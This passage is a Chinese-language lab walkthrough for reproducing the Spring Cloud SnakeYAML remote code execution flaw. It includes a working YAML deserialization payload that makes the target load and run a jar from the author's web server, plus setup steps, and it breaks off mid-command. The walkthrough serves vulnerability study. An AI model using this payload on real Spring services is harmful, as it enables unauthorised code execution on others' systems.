spring cloud SnakeYAML RCE
漏洞环境:
https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springcloud-snakeyaml-rce
IDEA打开然后配置一个Spring Boot即可
漏洞复现:
-
用
python3 -m http.server 80
在 VPS 上开一个简单的 WEB 服务 -
编写一个
example.yml
文件,上传到 VPS 根目录!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://192.168.43.141/example.jar"] ]] ]
-
把 https://github.com/artsploit/yaml-payload 下载下来,用如下命令生成
example.jar
文件,把 jar 文件上传到 VPS 根目录(我这里把AwesomeScriptEngineFactory.java
文件里的命令执行改为弹计算机,方便测试)javac src/